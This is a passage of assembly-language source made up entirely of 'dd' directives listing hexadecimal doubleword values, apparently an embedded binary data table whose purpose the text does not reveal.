0D70072CAh, 426501E9h dd 87CA682Eh, 75107BE1h, 0AE181FCh, 45A04164h, 4BFB1FF6h dd 0AC01EEF2h, 3FD38959h, 0DD34C012h, 207E53F3h, 595B1C1Ah dd 0A3F1CF8Dh, 796FFC25h, 638C2058h, 3C572180h, 83AC5A20h dd 9ACAA551h, 8AA06474h, 7520D198h, 67B6B5BAh, 0C3805C0Eh dd 51C61C67h, 40AADBB5h, 0D358317Dh, 950BB44Bh, 0B7B3E456h dd 0C8AF4410h, 7CC951E8h, 64B2619Fh, 2F313938h, 8BF3288Dh dd 0C4FCF2BCh, 421FBC58h, 5E00684Ch, 0D68BDF01h, 6F36E1FEh dd 24E95D3Ch, 40CFED78h, 68576E89h, 6B588DE2h, 2DBEC001h dd 0B0115871h, 2CF30B04h, 837005C7h, 63A3D155h, 0B0257B73h dd 51383A59h, 5B839042h, 5506142Eh, 142BDC68h, 14F2546Bh dd 0D05D56F4h, 0A4092DD6h, 0E1104B07h, 49A58058h, 9830879Eh dd 538006CCh, 276D05BBh, 823128AEh, 4E5049CCh, 1A5CCFE0h dd 0E9E36100h, 64496653h, 0F933C0DEh, 63B3942Ah, 9D1E6018h dd 22162C77h, 53685181h, 8D6893A7h, 0E917501Ah, 114733F1h dd 0BCA2A3BDh, 43CAE169h, 2D688F24h, 93461003h, 0E6D90169h dd 0D35AB085h, 19AC411h, 143A0BFEh, 638602Dh, 0B5092A98h dd 0D85C5D38h, 77190FF3h, 0F2A478A8h, 0D54EC3B1h, 64AFEEE0h dd 109E17Eh, 7830E9D6h, 89595E33h, 7EFD78DDh, 0B7581920h dd 0E9187F9Eh, 0F63EBCDEh, 0ECD02ED4h, 21810B8h, 543FB22Dh dd 70E2C262h, 68AD08C0h, 0CCBA5D3Ch, 0ED047946h, 5A5F1421h dd 0A00141E8h, 89388546h, 7C8071D7h, 6E5F2FC6h, 0A8010ABEh dd 2BE2198Ch, 0C3263C53h, 0E9644C8Ch, 1D7F965Dh, 0A1D3F187h dd 0C91DBDC4h dd 2BF1E47h, 0E3A1F6B5h, 0DBC40A3Dh, 7A3173Fh, 0DD7DAF48h dd 6519C2Fh, 96416682h, 0A579C513h, 0FAEC3FC2h, 7D560F41h dd 0F9643129h, 5268020Fh, 3485591Dh, 2DEAB28Eh, 0EF14226Ch dd 0C7DB7E09h, 0D0B4B539h, 35C5BDDEh, 63220127h, 0EA089D08h dd 4789A7B6h, 6693CD9h, 4BD9463Dh, 88F40B1Ch, 533F0350h dd 0FD1DF0B7h, 68C4665Bh, 82980C10h, 0B7FFC007h, 5EFC048h dd 5B44EDBEh, 0F0F333C2h, 9339333h, 0A6602CD2h, 6882B7A0h dd 0F4F38848h, 2B74DC34h, 2E9427E5h, 0DCA4BAC4h, 253AB991h dd 15DA3336h, 6CD8AEC2h, 4DFF735h, 36BD0880h, 2F987F2Ch dd 0AEC85E6Ch, 0E9E7FEC2h, 58F193A9h, 0C1090C8Fh, 3D0110E8h dd 4D610A68h, 799BE08Fh, 0F112B2B7h, 0EEC6A52Dh, 18AB18C0h dd 9C293705h, 56082058h, 4D619E59h, 38525A58h, 31397582h dd 5EC224D0h, 0EBA6DF13h, 112D5839h, 0B6E87F68h, 2B0BD482h dd 580AAD35h, 0AEDC3F11h, 5C965988h, 353BD12Dh, 2654A3E6h dd 492D21E9h, 8064778Eh, 0F368245Ah, 4697BD0Dh, 0D1DEB4C7h dd 55C82800h, 3214B850h, 8E2A50FEh, 8CFC0403h, 0F806E943h dd 0A54D5151h, 52BB39C1h, 801320F8h, 341E15BAh, 0A882691h dd 464A1907h, 0D64B4117h, 776800DBh, 9FBA9926h, 49E09855h dd 0E32E8058h, 0A01FB4A7h, 0B2C0AF0Bh, 80A8C53Bh, 4E602CBBh dd 2BB73177h, 0B053C6B7h, 4AD7AA94h, 1770D3DEh, 681004D6h dd 3362ED22h, 0D9470698h, 0DB2DE81Dh, 0C72F506Fh, 472A497h dd 27D1575Ah, 243F65A8h, 0ACA9D4E8h, 5C0DD95Ch, 0C8859389h dd 0B5DC0C02h, 0BA1DB103h, 0D89BA9A6h, 0D7869EBh, 62970002h dd 250D8D0Fh, 5CA12F3Ch, 11382231h, 0D64CB5B0h, 7F0CC24Ch dd 0D3B0A014h, 5DE3811Eh, 0D1516CC1h, 0EA414BEBh, 4030DE85h dd 9C5BE601h, 0B120C43Eh, 10306DFBh, 804E0A43h, 93534E28h dd 1254648h, 7A021F7Dh, 0F6513BE9h, 0C7C9F831h, 249508BDh dd 0F53BDD27h, 896C9093h, 8BEB216Ah, 84EA88B9h, 51E22CFCh dd 13F75F7Fh, 682E60A6h, 54245BA7h, 960B301Ch, 0DFA56839h dd 75883D1Bh, 205F60D8h, 1DEB8083h, 0D228564Eh, 0C8675A47h dd 0AE987DA7h, 49243D58h, 5D570351h, 0D2DD875Fh, 566A6A36h dd 18765287h, 7067EF81h, 12A06877h, 0A0E75DEAh, 7EF88A5Fh dd 4AEDB225h, 2CEC1962h, 0FA0B8902h, 0B6789817h, 245812A4h dd 3811A98Ah, 0B5FCD4B4h, 0CDFE351Eh, 0F856C296h, 0A18DBC4Fh dd 0C8891150h, 0BE6502F8h, 0F0039266h, 0D57DF72Ah, 6A90674Ah dd 711234C9h, 0E1EC72h, 3EEB06F9h, 63BE5649h, 6EEE3A14h dd 2DB801A4h, 464E5D55h, 1812CEE0h, 1C05E419h, 0AA0EA77Eh dd 63F1315Eh, 0E703E1C1h, 3EE89441h, 17E99154h, 4CD35C13h dd 9CF4D68h, 455EF513h, 340501E2h, 81CB1AD5h, 7BE1E9BAh dd 0BAD93649h, 21AF40Fh, 2815605Eh, 0F7031AC0h, 0A3E9D008h dd 0F250132Eh, 0FAAF449Eh, 288D075Ah, 8E489939h, 0D94FF40Bh dd 0C3E13481h, 4624F54Dh, 619D2ACh, 120C6A10h, 0FC05C0h dd 2959C801h, 2398E9D8h, 5E0EA3BDh, 60B04AC3h, 75B52DB9h dd 0E958D90Bh, 9FB870FDh, 6CCA4319h, 0B87A29Bh, 52E35206h dd 5E1F7B93h, 0D9F1F013h, 8B1AB28h, 2A0275B9h, 2D1290D5h dd 0F9547849h, 0C2586A5Ah, 5802D47Ah, 9DA86051h, 6F05005Ch dd 8C2690B9h, 0D17DF73Eh, 0AE000A98h, 0BA5A855Fh, 313C44Ch dd 58C201A8h, 80DCD131h, 5320BB24h, 0D101F49h, 5FD2F5E9h dd 0A97CEAD9h, 72D76809h, 52A195C4h, 2AE0044Ch, 3C54F8BEh dd 0D6302A9Bh, 49F68104h, 7761D2F0h, 709CE910h, 0C94532A7h dd 0E6E76127h, 5BC19755h, 0E92C5690h, 0F7C9C6D0h, 0A862D051h dd 90C72DDh, 37517E54h, 0D2F70E60h, 0B8CEE91Bh, 43E6D220h dd 5126C080h, 0AF0663BFh, 1009ABC6h, 85F28916h, 60E42A5Ch dd 6E620011h, 0FECF814Ah, 7A2C2B52h, 4A374347h, 50C77930h dd 0BCE926DAh, 95E4A8AAh, 97449C21h, 7261D635h, 7A756AC0h dd 10506083h, 7B293C5h, 145E64BBh, 0E1DF01C3h, 6D2ACD8Dh dd 0A392B8Ch, 6043CB02h, 5FE9329Bh, 0BF43809Dh, 639422BAh dd 2CCC0F0Ah, 602125BDh, 0BD030D5h, 71B3535Ah, 802C700h dd 0FE095BD8h, 80FA0CC0h, 0E8309171h, 1BD320E9h, 6B409895h dd 0EC51B24Dh, 99626674h, 24B7BBCBh, 84A027DEh, 23ED0780h dd 0B205E5C0h, 18C6C479h, 0C75180BFh, 5B6E0E1Ah, 635B0459h dd 0E9E51F58h, 0EE215EB7h, 66187AB2h, 7E022C69h, 9CB70924h dd 0CAC741h, 38786866h, 56C329B5h, 6F1327B7h, 0D64AB1AAh dd 5F544D82h, 6F620671h, 5AD02F3h, 0B2EA2664h, 42141B16h dd 912E050Bh, 2D011072h, 45386C66h, 0D8917CC3h, 92CA53E9h dd 1ACE25BFh, 64C9B079h, 0F47825E1h, 3464DDD1h, 54A86871h dd 19EBC2DAh, 2E039B0Ah, 0D015C66Ah, 7E281DAh, 4F1A318Eh dd 52EA7042h, 3123F1Eh, 0A55364E9h, 31C1425Eh, 55A46815h dd 48705588h, 1FD05D3Ch, 62B0565Dh, 0B8EF3B12h, 20C2065Ch dd 6A60410Fh, 551CBF0Dh, 0AD47183Fh, 0D589C671h, 0A459D35h dd 46BB914Bh, 0A179BA0Ah, 8B305292h, 0E50496FAh, 0E5CBC810h dd 0E0DB040h, 59203501h, 87AA660h, 0A80F050Fh, 0A252B523h dd 6097787Dh, 3DF730A8h, 1F0979B4h, 9185557Fh, 16A3C2C1h dd 0DE125D05h, 134F4DF0h, 0EFE78147h, 0C038D00Eh, 0D3BCDF7h dd 40B49027h, 0E81C29E0h, 5C0015Dh, 46CF3711h, 21FA012Dh dd 1CE977C2h, 46CC6C5Ch, 191650D8h, 0D7B62873h, 0D34A576Ah dd 39808814h, 0B3275A80h, 0A9D69182h, 55DDEA08h, 1E7AE622h dd 542BE902h, 21CF8EBFh, 0C10B07C0h, 4F5006E7h, 7D011BB4h dd 0FB015E2Ch, 892A295Fh, 0D0E462AAh, 90269606h, 4B24ED2Eh dd 221E26C9h, 313C0948h, 2E927C51h, 5714FFADh, 6755FA55h dd 92424930h, 0E6280753h, 32D0458h, 0E5A72CF0h, 6BE6A812h dd 4A5C5D9h, 0AE946855h, 0A7D9E217h, 0FD593038h, 0A3FF274Ah dd 2E006D0Dh, 0D1482D5Eh, 5289E59Bh, 834131C3h, 12556434h dd 0BD96E954h, 32EF005Ah, 560D010Ah, 895E0F57h, 0EB4BE9F1h dd 9EC1F81Bh, 28108FAFh, 5B3F2BD8h, 0E8838937h, 0C8493C7Ch dd 2DE98D7Eh, 6193B317h, 0C1D0F9C2h, 96E013A1h, 0A8095706h dd 77CAFAB1h, 231A2FD7h, 0C7206046h, 97537454h, 204C383h dd 1AEBC301h, 521CE873h, 180BBDF4h, 26291738h, 0A88B0CF1h dd 0B00E127Ch, 0B42820AEh, 404EB125h, 825C52FDh, 0ADDAE40h dd 80072C81h, 0AAE9A4DCh, 0CA272A4Fh, 5751D582h, 7CFCD61Ch dd 0B80026B4h, 79E04721h, 18F10B2Dh, 8F0B673Ch, 85900CFAh dd 0A7A412B4h, 82758B3Ch, 0BC7F043Bh, 0F4F8550Bh, 0E729C502h dd 8B355818h, 6DDE806h, 68578015h, 6A61F609h, 4262F126h dd 0F1C1EF87h, 7A63D231h, 8710A8EDh, 0F325C688h, 503D9BA3h dd 94E9DC85h, 0F1D3BCD7h, 2D284BA7h, 0E59F0493h, 5B00A73Fh dd 0A561624h, 0CA2A04F3h, 13296BBEh, 0D60A3FDAh, 85F657Fh dd 55DCD225h, 9380BA5Eh, 0A8CBB53h, 434855BCh, 0BA1F4B91h dd 718DDF92h, 0AA0E313Eh, 9DE6585Ch, 0F6E4DA63h, 80D190D9h dd 0B966FE1h, 0CF0BD7EEh, 0EC4D7D04h, 0DB8F2564h, 4F94A092h dd 7D558B25h, 5EC9BF34h, 54169E65h, 0EA009FB2h, 11740E4Ah dd 679425E9h, 15E5BA01h, 0EC4030BDh, 0FDAA0A48h, 2FE38471h dd 0FCECE669h, 6858C626h, 5EABE958h, 163DD8FDh, 5D9D89E9h dd 3205DA07h, 0CF4B344Ch dd 940EE84h, 0C1D6825Fh, 505C8019h, 267D743h, 63C0CD81h dd 555A42h, 0E1F3EDD2h, 318909CFh, 0EC0E5DEAh, 0BD54C0F6h dd 4D3008B8h, 572B3873h, 6036B0BEh, 0F7598DE1h, 681297D7h dd 0C9C93029h, 0E322212Fh, 569D2ECBh, 25DDE643h, 0FC586161h dd 0CF394A96h, 0DD307D3h, 0F57FD1B6h, 0D481FD50h, 0B1139B66h dd 0F7B0098Ch, 4C1F04CBh, 80525C75h, 404B232Ah, 0DA891800h dd 5AD3295Bh, 95D85001h, 0A8108A50h, 828872BBh, 97AB824Fh dd 5CE15251h, 0F562A30Fh, 924C3812h, 8CE1810Fh, 6FE8611Ah dd 5A60C901h, 0CAF41496h, 61503ED6h, 0A2F27176h, 893760BBh dd 4668816Fh, 0EA59A436h, 0DE044BA7h, 5E096BB3h, 68531130h dd 0BD7D5D32h, 0E0070A4h, 0FE01C480h, 5E4C063h, 0BD04063Dh dd 0E34CF0F4h, 0F3E0B779h, 93D83072h, 0AC925B9h, 5042BBAh dd 8EEC5450h, 8661AFB4h, 59002DE0h, 1995F021h, 863C5E2Ah dd 80AEEDA4h, 3E95FFDh, 0C797C511h, 0DC67C2BEh, 0FAA44E0Bh dd 0F2F3D6C2h, 71BF803Bh, 244382Fh, 1B5DB951h, 8D447D3Eh dd 0CD3CFE4Fh, 40235ECEh, 6F2A341Ch, 0CD4C0975h, 16BA161Fh dd 0B95F5188h, 0C2516447h, 0D3560F87h, 0A41E2C73h, 0F1BB802Dh dd 81605972h, 0CAD8F300h, 18056192h, 1FD1094Ch, 3610BE9h dd 0DFC32C5Ah, 0E640D209h, 1B700778h, 34682A35h, 2230AA7Eh dd 48F77452h, 0C003372Ch, 2DF93D90h, 39CB1DB0h, 0E9D00109h dd 0AC0EDEC6h, 5975EC56h, 548F9A97h, 485CD905h, 0BE4C560Dh dd 2F8B948Fh, 926BE55Eh, 0ED968808h, 0C140C296h, 0E8310BE8h dd 41982A68h, 0E23B25CDh, 640790D9h, 0AB20288h, 0FA3B5D4Dh dd 64290D7Eh, 0C18BD83Ch, 907B46E5h, 64DF3A63h, 10210A4h dd 0F237A1F1h, 6A2E2129h, 0B9A5B617h, 68005FEDh, 0BFAC4E7Ah dd 0F8731C50h, 3825B498h, 0AEF2A3DCh, 0FA2BA64Ch, 1AA9C2Dh dd 56ED7BAh, 8B09300Bh, 4FF27112h, 235082C7h, 2EB00880h dd 99CD501h, 0D0D10F11h, 8B3F6A8Ch, 530CED85h, 4EB45005h dd 0D2C2E388h, 0C1F323AFh, 46D885C2h, 5D761697h, 9D4A3FD0h dd 0DA5C783Ah, 0CA868018h, 0F1EF017Fh, 5D0885CAh, 0F489E5A5h dd 15680BECh, 0F94CB050h, 0C38803C7h, 1F1A72E9h, 0E602C0BDh dd 47F2874h, 26B4390Ah, 9DE3C043h, 605C0734h, 0FCC216FFh dd 54138AF2h, 7F1F759h, 53622D43h, 400FF7C0h, 441A58E5h dd 833D1E5Fh, 16EC7771h, 729B21Dh, 17183AD8h, 24F42513h dd 54095551h, 60B6765Bh, 0D6339ABAh, 0A6E9123Eh, 0F645BF4Ah dd 0F7E9981h, 79581230h, 0B3565024h, 0C3CDFF07h, 4E8338CCh dd 95EF8209h, 59273A5Eh, 0A530EBFCh, 0C1805B67h, 4A0578E1h dd 0F6E5C517h, 4E06426Ah, 0BCD992B4h, 94BD01D2h, 6E55AA4Fh dd 0F1685902h, 70E9017Ch, 21CA3EBEh, 65CEAB1Ah, 0EE044C78h dd 9910E221h, 502B0FAAh, 0CDF0BB6h, 0B8E0B7C2h, 0BD99F7D1h dd 8B008C6Dh, 2B612A7h, 394ABA79h, 92E15478h, 8AB3EC27h dd 8DCA2928h, 6619F325h, 0A490591Dh, 0E7CA5B3Fh, 8ADA4A73h dd 1DB80F10h, 0C8D2F031h, 12BA0FB0h, 0FDE2A3Ch, 0A1DAA0A2h dd 523DD3E0h, 4903FE6h, 6D51390Eh, 0CE7C046h, 0C0404A5Ch dd 0A2657F18h, 0E9194722h, 0CEEDB3A1h, 1B9A4DF8h, 12EE8373h dd 0DE7FD898h, 6191F34Fh, 3104C4A1h, 0ADA951EBh, 4CC4CC10h dd 0D6870FEh, 4A7128ABh, 40C7C98Ah, 0C180469Fh, 579FFFE7h dd 205881E9h, 189F41CCh, 50630743h, 814DE05Dh, 25150BE5h dd 0E68341C6h, 0CC947E2h, 0EB453E68h, 3F0E87E9h, 11DCE4C9h dd 8E2C102h, 4353D280h, 0CC02A0Bh, 9B5A4810h, 5CD17429h dd 0C5344431h, 0C4860DDDh, 0F6A4009Ah, 0D13C0572h, 0A7E9B963h dd 0B91D4BC1h, 13055AA3h, 0B253A8C9h, 0E9CFA2D0h, 91E5A059h dd 12A30548h, 127FF255h, 64B353D1h, 8D0FC5A6h, 2D287346h dd 7ED9EBA8h, 3BC9073Ah, 0E26CFD5Dh, 40D9B101h, 464F058Ah dd 69B013BCh, 808441B9h, 41245264h, 2E09F381h, 0F04EF263h dd 5C803C1Dh, 0D0DAEF53h, 0D2584BA4h, 0A350E4EEh, 62445A4Bh dd 0EBA3EF09h, 67ED2079h, 152A2BA0h, 88B86B73h, 0B2E8422h dd 0E828F1EDh, 0CC02CC24h, 574BE9B5h, 0B0C9E614h, 483360BAh dd 122A1B7Eh, 5DB807CEh, 0A2252832h, 9A483E1Ah, 21074D52h dd 5BDA2939h, 0D4F4B6D2h, 0BE0F625Ah, 0C0E50340h, 6692C6B1h dd 17CBE153h, 3C2A9E7Eh, 0DB34A462h, 96A5BDE7h, 0E977C338h dd 25014552h, 0B3100EC3h, 0F6418F7Bh, 5080A733h, 566B3E68h dd 65965D57h, 8E6C3782h, 0AD3A4567h, 84E4132Bh, 7C320661h dd 1FD26BBh, 0E126ED6Ch, 51665097h, 163BB9E4h, 0EB1E7D09h dd 1D3035Bh, 0A4408A0Bh, 0E5A25756h, 95425F2Fh, 84499A7Dh dd 4D0BE875h, 6CD2458Bh, 0A33DC501h, 0E80169C6h, 0C8362C2Bh dd 417F2D05h, 0D1C869FAh, 0D6E91256h, 58D192F8h, 2D14C851h dd 0B2A0DEAAh, 0E86817F3h, 0BB1F6054h, 0ACB872BCh, 0B86FC998h dd 0E5D8EB0Dh, 0E8A9259Fh, 2DA681F6h, 551AD410h, 39762EF7h dd 384C7F00h, 0C2FAE91Ah, 44AC68F1h, 0A82782A2h, 54B8C10Bh dd 0FF8D9E30h, 58E1D83Eh, 1344184Ah, 0CEB33792h, 0E41E1293h dd 100E376h, 0F703BE21h, 0B8EBC1DBh, 0C105F6FEh, 4410F4DAh dd 0D4262113h, 160B3811h, 795BDF01h, 6551A7DBh, 9A9AC0A5h dd 65260245h, 426EE957h, 63509254h, 315181F7h, 2C08F911h dd 10429947h, 0C7802BBCh, 0E9FB2158h, 34C9AE42h, 7F0E12BFh dd 17FA5280h, 0E92D0985h, 8F6C2303h, 0A5BAC102h, 83B13283h dd 0E8E4CE88h, 80392E1h, 0C254F652h, 82165701h, 0FE4FDEFCh dd 0B07521F0h, 7487A31h, 46334D0h, 0EF02E9FFh, 0AB0BCFE0h dd 0F5E7B1EDh, 8065E570h, 0D250F75Eh, 0AC0562C5h, 0D329B037h dd 680943A3h, 0F8B00F56h, 330563BBh, 0EB015D48h, 407E82A4h dd 879D583Fh, 693FD071h, 0C66C29FBh, 58C22793h, 0E809C631h dd 6813E2D1h, 7C370CE0h, 1303FF86h, 0F257295Ah, 632A166Eh dd 0ADB19E56h, 5CB3316Bh, 101AC035h, 0E0A6414Ch, 4C907A2Ah dd 5D2E6815h, 970DA7BBh, 704AD310h, 0F75C4100h, 557C68F9h dd 43F2145h, 12A4D69Fh, 0D7F1F601h, 2C7BBF13h, 8044D97h dd 0CE216125h, 0E9A0C4A8h, 0BA800EFFh, 0DD6A17C3h, 6B9FC00Bh dd 65EFB585h, 3E1D21DEh, 56C2B794h, 0FF4F24Ah, 10B151CFh dd 9442664h, 4BBDFC5Eh, 0E98BF3E5h, 598A2110h, 46BCC328h dd 0CF3F26C8h, 0D0235F7Dh, 463C7490h, 0A4257700h, 5553471h dd 17D1046Dh, 84C331EAh, 5912AA6Fh, 228C1B50h, 6CB70E4Ah dd 0CF43C7FEh, 0DD90EF86h, 8C3D3F6h, 93EE8852h, 0E9F7A0FDh dd 24604B5Ah, 0CB580F4h, 30F9195Fh, 1A13736Ch, 75A07BE5h dd 159C30E9h, 534304BFh, 28D3B709h, 7974A9F8h, 0C5C26215h dd 0CC49C854h, 9DE79A58h, 17798142h, 66A0594Bh, 5703F5AAh dd 2A4AC2BFh, 5CB40531h, 0C05F564Dh, 284C1859h, 44B21B76h dd 31505B14h, 417710B0h, 3F045C2Eh, 0BB3CFC93h, 6C16C1D0h dd 0B7EA4A95h, 30C741EDh, 3D4E7F0Ch, 0D93CD18Dh, 0E14EE912h dd 0C8CD2B04h, 0D6BD5F3Bh, 97CE302h, 302F8A68h, 0B083889h dd 0ECE926FEh, 0C280CCC0h, 2E72065Ch, 2BCFA80Ah, 0BA40A0A1h dd 5A0E73D0h, 419F8735h, 3ECAF18Ch, 38884C85h, 27B52468h dd 0D9016F40h, 3B547670h, 0F1FF961h, 0D005C56Dh, 0F0F0ED19h dd 0D95A1644h, 33020B90h, 29285C1Ah, 0D230F625h, 109D2662h dd 0F02B349Ch, 0F2E1EC54h dd 9DFC7828h, 0DEC13800h, 7E50AE5Ah, 2EC1038Dh, 47D52154h dd 0C01A1C7Ah, 6B0F05D0h, 869A49AEh, 0E9F05CBEh, 0C91849A0h dd 28DA3476h, 4943EC48h, 0D812DCE0h, 5FE27798h, 6863205Eh dd 1BC577F8h, 0B1A9ADE5h, 1E9F1F2Ch, 66AFCB15h, 50010DA4h dd 1341008Dh, 0E1C153A3h, 2ED4C108h, 806DCC3Dh, 5D4CD8F2h dd 28192D2Bh, 55F5093Bh, 2D2FB9A5h, 1BF2FF1Eh, 1FE07409h dd 0FFEBCA5Bh, 18771701h, 0D1E91D39h, 2388AA4Bh, 0B7010F42h dd 5AB5A0Ch, 0D1A5BB5Ch, 182C906Dh, 0CA37C37Ch, 46361337h dd 43621611h, 0EB805C44h, 0A68EC0Bh, 2CE7524Fh, 87D360E9h dd 332FE580h, 0C5B130CDh, 82EDE401h, 594BEBE0h, 0B74ADF8Ah dd 5A4F1032h, 1289053Eh, 8DD03238h, 0FE0B1C04h, 0BCCD8950h dd 4F892C2Bh, 5730605Bh, 48841F0Bh, 7F27793Bh, 0BB004446h dd 811EA31Ch, 27129FEFh, 0D7500333h, 5E08C750h, 0F95A6825h dd 1605BCDAh, 8B4A4F36h, 5B25481Bh, 769378Ah, 535F0B02h dd 33002BDEh, 0CFE958E0h, 9E419662h, 0C0CB132Dh, 3947BE54h dd 5A83055Bh, 0B03E96F7h, 0A16628E5h, 2A14B5B4h, 55B1999Fh dd 62E1293Bh, 1A341809h, 0B966D019h, 5102802Ah, 0E938B450h dd 0C8D88E2Fh, 9E2B717h, 0D989475Fh, 3BF70FB1h, 0B4F1E200h dd 988A1BDCh, 0D09BDAAh, 0B524B996h, 8B160842h, 14B1508h dd 0D8284404h, 3768D02Ch, 9D57214Fh, 466616E2h, 7DFA79FDh dd 0EE35AA4Bh, 53B259C5h, 25DCE98Ah, 5ED488C8h, 29426B0Fh dd 0C2B5A9D5h, 359E5D7Bh, 540B278Eh, 6087E95Fh, 0F685794h dd 5DE3E78h, 0CE094F8Bh, 6082BF42h, 320C5D98h, 13039E7Ah dd 0F5BAE44Dh, 49087209h, 20A65C99h, 0F1E3A0AAh, 67530456h dd 0E1A7E964h, 5FFEF872h, 7EEC107h, 2F51CE81h, 0CFDB59DFh dd 0B2FF3FB3h, 0BF57689h, 0FBC51001h, 29FC7C13h, 0C4EF744Fh dd 68FF90BDh, 3AB147DFh, 0A486D9A5h, 4CBA10F2h, 0E7DF40E6h dd 6CAF350h, 0E91A1FB8h, 0F13C5EF2h, 68D6B020h, 0E6A85FDBh dd 40813572h, 168A1A70h, 0A00C0B09h, 8609F3A0h, 8B7B6E06h dd 59D987D5h, 68A8AD64h, 197DF245h, 6CCBD0F7h, 0B4CFD31h dd 231F7488h, 0E3032BE0h, 9E613833h, 486E000Ch, 56553693h dd 7A1F50BEh, 0F6403DC5h, 386B78FDh, 0DDE92D4Eh, 7D5B42C1h dd 8CEB84E4h, 0C9FBC0C2h, 6730CEE8h, 2A557B50h, 55D9B5D3h dd 743BA1E7h, 0AA2A8576h, 3801D152h, 9B24D4Ah, 26158A40h dd 0E97A0B76h, 0CB66CEF4h, 0BB4EC0F2h, 23EC29DDh, 0F257C32Bh dd 26C269ACh, 0D0BFD1C1h, 18C0715Eh, 0F81B99F1h, 0B0D74A09h dd 2A00A6E4h, 4C354064h, 0C00FFC72h, 0D942060Ch, 0E833C157h dd 0A0030605h, 600850EBh, 1B63AC80h, 1345D59h, 814C8C7h dd 12BEB59Dh, 6689D207h, 8C68C3F4h, 5550F5ACh, 6BBA00BDh dd 0CD81064Bh, 0C03807F9h, 0BA90CF45h, 7ABA6425h, 8DBA050h dd 1C5305C1h, 5D1DF5E9h, 69DF8282h, 49637A46h, 6FE696E9h dd 0CD41BB9Dh, 0AF50C99Ah, 2D5FFBh, 7D1373DEh, 6850D829h dd 41F9145Dh, 0B28A51E8h, 3EB97022h, 41F8D1E0h, 830581B4h dd 968302C6h, 0AC103E1Fh, 0BC71B613h, 7F2D7C52h, 6A2FCE61h dd 2371CC1h, 76E82A16h, 4E1355E0h, 181B8F30h, 9B738DDh dd 0CDB2E9BEh, 63CA6268h, 596CED05h, 798BF001h, 0CA49B742h dd 0C8BF0F01h, 3F2BC168h, 9E4BF231h, 3C2F1272h, 442248CCh dd 0B92CC1EEh, 60C7031Ah, 8F9F5703h, 6B7C4123h, 902A34D8h dd 0F14C99Ah, 0E965A00Eh, 7FFC53E4h, 0B45A71B5h, 19D0040Ch dd 5BEFF2E5h, 682BF0E7h, 6B5934Eh, 1676CE3Ah, 13F55F5Dh dd 5BD668D4h, 0D2303221h, 521E8478h, 601B13B2h, 9C6C053Fh dd 0FC08B9EAh, 1A3950F9h, 13874913h, 0E909CB1Fh, 0B9446175h dd 66B4302Ah, 6909CF52h, 7E104CE9h, 0E8636570h, 1C5E8100h dd 0C07A0D39h, 1524513Ch, 0EB85948h, 0E7991248h, 4A602B25h dd 13D8F74Fh, 22FD77E9h, 0C5F24431h, 717E7027h, 43EB0813h dd 3EAC003h, 3F239B80h, 5B77FE06h, 17B08828h, 45145513h dd 7A8F21Fh, 83BD56A1h, 182E48D5h, 0DF0ACD0Bh, 4D018A04h dd 1CB529Ch, 0BD5A59C8h, 9D38C003h, 146ED950h, 66F102Eh dd 80A61314h, 489921E0h, 202D9C51h, 6D3C21DEh, 55E95682h dd 0E8B10027h, 863AD9F6h, 8D030C1h, 0B002E9C0h, 588D7E29h dd 3A7225D7h, 0A13980C7h, 0BC33EF9Dh, 3CF27B2Dh, 0B3374820h dd 91FF1673h, 0FB65Eh, 7A12B951h, 4F717B03h, 6612C2B7h dd 46B8974h, 54000BB0h, 4A27685Bh, 63655DAAh, 40AE52Fh dd 8C3EA3E9h, 0B00350ACh, 304CB510h, 0E95EFAC5h, 96315B3Ah dd 8D34B42h, 6B250330h, 20EE1B34h, 0F097799h, 1439F208h dd 0E6D933B9h, 6D76E702h, 46433A1Ch, 21D610A9h, 135DD6Dh dd 0CFC0D3B1h, 9E595066h, 0D79BA19Ah, 0A007D360h, 3CF687A4h dd 332C0DFh, 89B2FB38h, 0E6E6546Ch, 0A9E9A90h, 3A72FB2Dh dd 804362C3h, 0C8BA87F1h, 48A34EA3h, 703A014h, 584B862Fh dd 6AABA8E1h, 6B2AA241h, 2CD40C5Eh, 299A2422h, 0F5381A54h dd 614860Eh, 795D9909h, 3DF10180h, 217BF870h, 22202A37h dd 569112E9h, 444EBADEh, 0FFA69955h, 0E22BAB4Bh, 5BBED547h dd 0B808F7Fh, 840F13C9h, 56A282CAh, 0EEF3BEC0h, 98FF44B7h dd 0AB0F2468h, 0B5C3423Ch, 859C055Ch, 6D3CBCCh, 0A12D6A1h dd 8CC397h, 0E4C09BB4h, 0C45CFE03h, 0A9173BDh, 0D5095392h dd 6BFA7433h, 0D94B3371h, 0CA29E2BCh, 2C021D5Fh, 0F9CE42EBh dd 0A7CB6C93h, 0E8BF9500h, 2962D932h, 6B5F73FAh, 73078FD7h dd 0F1FCD9C7h, 0DE020B6Fh, 55E0C243h, 0A1345A01h, 0A55B27E0h dd 1B662FBEh, 0C721A29Eh, 6857A130h, 144F2603h, 372F0D25h dd 79C5D843h, 0CCE66F8h, 0AC853DA3h, 0F5F84C01h, 32055814h dd 12C7B8A4h, 0ED650C09h, 0BE0F70BFh, 2A097DE6h, 51F30119h dd 0C326BC88h, 811020F4h, 66F01DC0h, 9F294C63h, 0A161E913h dd 9F7D4160h, 0ED8305F2h, 265FF72h, 0C3423A80h, 89582FBEh dd 294E4196h, 2EDEA0C1h, 6AF3F187h, 5663017Fh, 7790F389h dd 5B785E20h, 7825680Eh, 0E9045EB9h, 2DEF3903h, 9BA9F4C7h dd 0CC478CD6h, 0A551F62Dh, 6692054Ch, 4996053Bh, 21C5C83Ah dd 3EDF3D18h, 3572F0E4h, 3521E5Dh, 497395D8h, 1D5E1CAAh dd 98A0CA3Dh, 0B5B94A36h, 5409E043h, 5DC615Ch, 2B0B23C9h dd 0E5388580h, 29361448h, 6C1392C5h, 0B4664D7h, 6BDED1D0h dd 864C7F40h, 0B7DCCB3Fh, 8A0C5172h, 52431B08h, 0D00A1763h dd 0A1D6133Dh, 2F34C955h, 8C3E799Dh, 0A24AD8D9h, 0C6213B9Ch dd 0E2943DCh, 883BB300h, 0C4805BDCh, 9C6BFA27h, 485D0EFDh dd 0EF708DEBh, 39E0E99Fh, 48429DA4h, 776A2FF9h, 5832D983h dd 0DA292FA0h, 8A0EAF0h, 84BE525Bh, 0B4BFE961h, 58C1D451h dd 0A8FEC80h, 0E6815542h, 0B56CF10Eh, 0DCCEC049h, 0C025F65Ch dd 0E842166Ch, 0DE0C29F7h, 449983E9h, 5AD02E20h, 0BB2A3D5Eh dd 0D3F601EEh, 0EBC0C3FEh, 0FE503105h, 5145007Dh, 0B53CB353h dd 69566A0Bh, 85C7CA3Dh, 0F404F003h, 9E52EC84h, 8A87570Ah dd 45645E93h, 6505C082h, 0A52F2C50h, 